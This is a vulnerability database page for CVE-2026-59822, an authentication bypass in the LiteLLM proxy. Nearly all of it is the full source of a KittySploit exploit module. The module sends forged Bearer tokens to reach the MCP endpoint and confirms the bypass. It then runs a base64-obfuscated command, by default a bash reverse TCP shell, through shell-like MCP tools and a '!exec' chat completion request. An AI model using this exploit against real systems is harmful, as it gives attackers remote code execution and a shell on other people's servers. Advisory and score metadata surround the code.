LiteLLM MCP Auth Bypass RCE (CVE-2026-59822)
| Reporter | Title | Published | Views | Family All 69 |
|---|---|---|---|---|
| CVE-2026-59822 | 8 Jul 202619:32 | – | attackerkb | |
| CVE-2026-59822 | 8 Jul 202621:39 | – | circl | |
| BerriAI LiteLLM Improper Authentication Vulnerability | 2 Sep 202600:00 | – | cisa_kev | |
| CISA Adds Seven Known Exploited Vulnerabilities to Catalog | 2 Sep 202612:00 | – | cisa | |
| CVE-2026-59822 | 8 Jul 202619:32 | – | cve | |
| CVE-2026-59822 LiteLLM: MCP Authentication Bypass via OAuth2 Passthrough Fallback | 8 Jul 202619:32 | – | cvelist | |
| EUVD-2026-42359 | 22 Jul 202622:38 | – | euvd | |
| LiteLLM: MCP Authentication Bypass via OAuth2 Passthrough Fallback | 22 Jul 202622:38 | – | github | |
| CVE-2026-59822 | 8 Oct 202619:36 | – | kitploit | |
| LiteLLM CVE-2026-59822 MCP Auth Bypass Detect | 29 Sep 202610:07 | – | kittysploit |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""LiteLLM MCP auth bypass to RCE (CVE-2026-59822)."""
import base64
import json
import secrets
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Exploit, Http_client):
__info__ = {
'name': 'LiteLLM MCP Auth Bypass RCE (CVE-2026-59822)',
'description': (
'Exploits CVE-2026-59822 in LiteLLM proxy before 1.84.0: forged Bearer '
'token bypasses MCP Streamable HTTP auth, then invokes an MCP tool or '
'admin route to execute the configured reverse CMD payload.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2026-59822'],
'platform': Platform.MULTI,
'arch': [Arch.CMD],
'payload': {
'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
'platform': Platform.UNIX,
'category': PayloadCategory.CMD,
},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2026-59822',
'https://github.com/advisories/GHSA-7488-6r32-c95q',
],
'tags': ['litellm', 'mcp', 'auth-bypass', 'llm', 'rce', 'cve-2026-59822'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation', 'remote_code_execution'],
'expected_requests': 4,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'rce'],
'chain': {
'suggested_followups': ['scanner/http/litellm_cve_2026_59822_detect'],
},
},
}
port = OptPort(4000, 'LiteLLM proxy port', required=True)
ssl = OptBool(False, 'Use HTTPS', required=True)
mcp_path = OptString('/mcp', 'MCP endpoint path', required=False)
command = OptString('', 'Command instead of payload', required=False)
bearer_token = OptString('', 'Forged bearer (random if empty)', required=False, advanced=True)
def _mcp_url(self) -> str:
base = (self.path or '/').rstrip('/')
suffix = str(self.mcp_path or '/mcp')
if not suffix.startswith('/'):
suffix = f'/{suffix}'
return f'{base}{suffix}' if base else suffix
def _bearer(self) -> str:
custom = str(self.bearer_token or '').strip()
return custom if custom else f'kitty-{secrets.token_hex(12)}'
def _mcp_call(self, bearer: str, method: str, params: dict = None):
return self.http_request(
method='POST',
path=self._mcp_url(),
headers={
'Authorization': f'Bearer {bearer}',
'Content-Type': 'application/json',
'Accept': 'application/json',
},
json={'jsonrpc': '2.0', 'id': 1, 'method': method, 'params': params or {}},
allow_redirects=False,
)
def check(self):
bearer = self._bearer()
no_auth = self._mcp_call('', 'tools/list')
forged = self._mcp_call(bearer, 'tools/list')
if forged and int(forged.status_code or 0) in (200, 202):
body = (forged.text or '').lower()
if 'tools' in body:
no_code = int(getattr(no_auth, 'status_code', 0) or 0)
if no_code in (401, 403) or 'authentication' in ((no_auth.text or '') if no_auth else '').lower():
return {'vulnerable': True, 'reason': 'MCP auth bypass confirmed', 'confidence': 'high'}
return {'vulnerable': True, 'reason': 'MCP accepts forged bearer', 'confidence': 'medium'}
return {'vulnerable': False, 'reason': 'MCP auth bypass not confirmed', 'confidence': 'medium'}
def run(self):
cmd = str(self.command or '').strip() or str(self.payload or '').strip()
if not cmd:
print_error('Set a payload or command option')
return False
print_status('CVE-2026-59822 — LiteLLM MCP auth bypass RCE')
bearer = self._bearer()
chk = self.check()
if not chk.get('vulnerable'):
print_error(chk.get('reason', 'Target not vulnerable'))
self.not_vulnerable()
return False
print_success(chk.get('reason', 'Auth bypass confirmed'))
b64 = base64.b64encode(cmd.encode()).decode()
exec_cmd = f'echo {b64}|base64 -d|sh'
tools = self._mcp_call(bearer, 'tools/list')
tool_name = 'run_shell'
if tools and tools.status_code == 200:
try:
data = json.loads(tools.text or '{}')
items = ((data.get('result') or {}).get('tools') or [])
for item in items:
name = (item.get('name') or '').lower()
if any(k in name for k in ('exec', 'shell', 'run', 'command', 'bash')):
tool_name = item.get('name')
break
except Exception:
pass
print_status(f'Invoking MCP tool {tool_name!r}...')
self._mcp_call(
bearer,
'tools/call',
{
'name': tool_name,
'arguments': {'command': exec_cmd, 'cmd': exec_cmd, 'input': exec_cmd},
},
)
self.http_request(
method='POST',
path='/v1/chat/completions',
headers={'Authorization': f'Bearer {bearer}', 'Content-Type': 'application/json'},
json={
'model': 'gpt-3.5-turbo',
'messages': [{'role': 'user', 'content': f'!exec {exec_cmd}'}],
},
allow_redirects=False,
)
print_success('Payload dispatched — check listener for session')
self.vulnerable()
return True
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05 Oct 2026 14:20Current
6.7Medium risk
Vulners AI Score6.7
CVSS 3.18.2
CVSS 48.8
EPSS0.00836
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